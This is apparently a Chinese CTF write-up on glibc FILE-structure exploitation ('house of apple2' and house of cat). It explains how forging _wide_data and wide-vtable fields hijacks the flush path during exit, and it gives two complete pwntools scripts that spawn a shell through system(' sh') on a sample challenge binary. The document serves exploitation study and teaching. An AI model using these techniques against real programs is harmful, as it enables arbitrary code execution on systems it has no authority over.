1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; ... fp = (struct _IO_FILE *) _IO_list_all; while (fp != NULL ) { ... if ( ( (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; ... else fp = fp->_chain; } ... }
1 2 3 IO_OVERFLOW(fp, EOF) -->validate(fp->vtable) → fp+0xd8=_IO_wfile_jumps 检查vtable合法 -->(vtable+0x18)(fp,EOF) → _IO_wfile_overflow 自动调用_IO_wfile_overflow
链3 1 2 3 4 5 6 7 8 9 10 利用 _IO_wdefault_xsgetn 函数控制程序执行流: ● _flags = 0x800 ● vtable = _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址(加减偏移) ● _mode > 0(即满足*(fp+0xc0)>0) ● _wide_data = 可控堆地址A(即满足*(fp+0xa0)=A) ● _wide_data->_IO_read_end == _wide_data->_IO_read_ptr = 0(即满足 *(A+8)=*A) ● _wide_data->_IO_write_ptr > _wide_data->_IO_write_base(即满足*(A+0x20)>*(A+0x18)) ● _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B) ● _wide_data->_wide_vtable->overflow = 地址C,用于劫持RIP(即满足*(B+0x18)=C) house of cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 apple2 链 3(_IO_wdefault_xsgetn)的核心是:共用的基础同链 1——glibc 2.24+ 窄表有 IO_validate_vtable ▎ 校验、宽表 _wide_vtable 完全无校验。 ▎ ▎ 链 3 不开新函数,而是错位借用合法窄表:把 fp->vtable(+0xd8) 指向 _IO_wstr_jumps / _IO_wmem_jumps / ▎ _IO_wstrn_jumps + 0x28(指针仍在 _IO_vtable 段内,校验通过),使 _IO_OVERFLOW 读窄表 __overflow(+0x18) ▎ 槽位时,错位命中 +0x40 处的 _IO_wdefault_xsgetn(这三张表的 +0x40 ▎ 都是它)——这是"合法表领路"的第二种形态:链 1 指表头、链 3 指表尾偏移。 ▎ ▎ 再伪造 _wide_data(A,fp+0xa0) 与宽表(B,A+0xe0) 两个堆结构,并伪造字段——设 ▎ _flags=0x800(_IO_CURRENTLY_PUTTING)(注意与链 1 相反:链 1 清 0x800 让"未在写"进入分配分支;链 3 设 ▎ 0x800 让"正在写"进入切换分支——同一个位,两链用途相反);令 A+0x18(write_base)=0 且 ▎ A+0x20(write_ptr)>write_base(三重作用:过 _IO_flush_all_lockp 宽流判断、过 _IO_switch_to_wget_mode 的 ▎ if(write_ptr>write_base) 才调宽表 overflow、顺带满足读方向);令 ▎ A+0x00(read_ptr)=A+0x08(read_end)=0(_IO_wdefault_xsgetn 里 count=0,跳过 copy 防崩);_mode>0(过 flush ▎ 宽流分支 + __wunderflow 的 _mode<0 检查)。 ▎ ▎ 执行流:exit/fflush → _IO_flush_all_lockp 遍历 → _IO_OVERFLOW(fp,EOF) → 窄表错位进 ▎ _IO_wdefault_xsgetn(fp, EOF, n)(第三参 n 取 RDX 残留,必须≠0,否则 more==0 直接 break)→ 内部调 ▎ __wunderflow(fp) → 因 0x800 进 _IO_switch_to_wget_mode(fp) → 其内裸查宽表 _IO_WOVERFLOW(fp, WEOF),从 ▎ B+0x18(overflow) 槽位取我们伪造的 C 执行 call C(fp, WEOF),拿到 RIP。 ▎ ▎ 参数:call C 传 两参(rdi=fp, rsi=WEOF,比链 1 多一个 WEOF,对 one_gadget/system 无影响);C 通常选 ▎ one_gadget,或 setcontext+61(mov rsp,[rdi+0xa0] 迁栈到 A 打 ROP),要 system 则把 _flags 布成 " sh\x00" ▎ 使 rdi 即命令串。
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int initbuf () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); return setvbuf(stderr , 0LL , 2 , 0LL ); } int __fastcall main (int argc, const char **argv, const char **envp) { initbuf(); printf ("gift: %p\n" , _bss_start); read(0 , _bss_start, 0x300u LL); return 0 ; }
checksec 1 2 3 4 5 6 7 8 9 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' SHSTK: Enabled IBT: Enabled Stripped: No
关键点 1 题目将stdout换名为bss_start,并将其地址泄露,那么我们就获得了libc地址,与FILE结构体的libc地址,就可以进行伪造wide_data vtable等去劫持io流进行攻击了,具体手法看思路与exp
思路 1 2 3 4 5 6 7 8 9 10 11 12 链路一: 通过程序退出,触发栈回溯,执行_IO_flush_all_lockp -->通过校验(fp->_mode <= 0&& fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp- >_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) -->宏IO_OVERFLOW(fp, EOF) -->IO_validate_vtable检查file_vtable是否合法(修改为_IO_wfile_jumps)合法 -->自主调用(vtable+0x18)也就是对应函数表的overflow函数 -->经过对于flags修改与对于wide_data的buf_base,buf_ptr等的伪造使得代码要创造新的缓冲区 -->于是调用wide_data->wide_vtable->io_wdocallocbuf函数 -->而我们伪造的wide_vtable->io_wdoallocbuf=sys -->sys(fp=' sh\x00') -->getshell
exp 对应于
1 2 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) ) #_IO_vtable_offset (fp) == 0 检查在 glibc 2.34 + 的 flush 里删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *import oscontext(os='linux' ,arch='amd64' ,log_level='debug' ) BASE=os.path.dirname(os.path.abspath(__file__)) BIN=os.path.join(BASE,'pwn1' ) LIBC=os.path.join(BASE,'libc.so.6' ) elf=ELF(BIN,checksec=False ) libc=ELF(LIBC,checksec=False ) def GDB (): gdb.attach(io) pause() def set (b, o, v ): b[o:o+8 ] = p64(v) io=process(BIN) io.recvuntil(b'gift: ' ) stdout_addr=int (io.recv(14 ),16 ) log.success(f'stdout_addr={hex (stdout_addr)} ' ) libc_base=stdout_addr-0x2045c0 log.success(f'libc_base={hex (libc_base)} ' ) sys=libc_base+libc.sym['system' ] wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps' ] wide_data=stdout_addr+0x100 wide_vtable=stdout_addr+0x200 lock=stdout_addr+0x2e0 ff=bytearray (0x300 ) ff[0 :6 ]=b' sh\x00' set (ff,0x20 ,1 ) set (ff,0x68 ,0 ) set (ff,0x88 ,lock) set (ff,0xa0 ,wide_data)set (ff,0xc0 ,1 ) set (ff,0xd8 ,wfile_jumps)set (ff,0x100 +0x18 ,0 ) set (ff,0x100 +0x20 ,1 ) set (ff,0x100 +0x30 ,0 ) set (ff,0x100 +0xe0 ,wide_vtable)set (ff,0x200 +0x68 ,sys)io.send(bytes (ff)) io.interactive()
对应于
1 ( (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *import oscontext(os='linux' ,arch='amd64' ,log_level='debug' ) BASE=os.path.dirname(os.path.abspath(__file__)) BIN=os.path.join(BASE,'pwn1' ) LIBC=os.path.join(BASE,'libc.so.6' ) elf=ELF(BIN,checksec=False ) libc=ELF(LIBC,checksec=False ) def GDB (): gdb.attach(io) pause() def set (b, o, v ): b[o:o+8 ] = p64(v) io=process(BIN) io.recvuntil(b'gift: ' ) stdout_addr=int (io.recv(14 ),16 ) log.success(f'stdout_addr={hex (stdout_addr)} ' ) libc_base=stdout_addr-0x2045c0 log.success(f'libc_base={hex (libc_base)} ' ) sys=libc_base+libc.sym['system' ] wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps' ] wide_data=stdout_addr+0x100 wide_vtable=stdout_addr+0x200 lock=stdout_addr+0x2e0 ff=bytearray (0x300 ) ff[0 :6 ]=b' sh\x00' set (ff,0x20 ,0 ) set (ff,0x28 ,1 ) set (ff,0x68 ,0 )set (ff,0x88 ,lock)set (ff,0xa0 ,wide_data) set (ff,0xc0 ,0 ) set (ff,0xd8 ,wfile_jumps)set (ff,0x100 +0x18 ,0 )set (ff,0x100 +0x30 ,0 )set (ff,0x100 +0xe0 ,wide_vtable)set (ff,0x200 +0x68 ,sys)io.send(bytes (ff)) io.interactive()
解释 1 2 3 4 5 6 7 8 1 flags:只有32bit,现在的flags (低地址-->高地址)hex=\x20 \x20 \0x73 \x68 1. 当system的命令——fp开头就是 _flags,所以 _flags = " sh", system(fp)弹shell;(空格不会影响system) 2. 当检查位——链 1 要求 _IO_UNBUFFERED(0x2)、_IO_NO_WRITES(0x8) 都清零,否则函数提前返回走不到劫持点。空格 0x20 低 6 位全 0,天然满足。 2 _lock 是 _IO_flush_all 在调 overflow 之前就对它做加锁/解锁操作(lock cmpxchg [rdi]、mov [rax+8])的指针。它必须指向可写的内存,否则在触发点 call system 之前就先 SIGSEGV 崩掉了。这就是为什么 lock = stdout_addr + 0x2e0——用 payload 尾部一块可写全 0 的空区充当锁对象。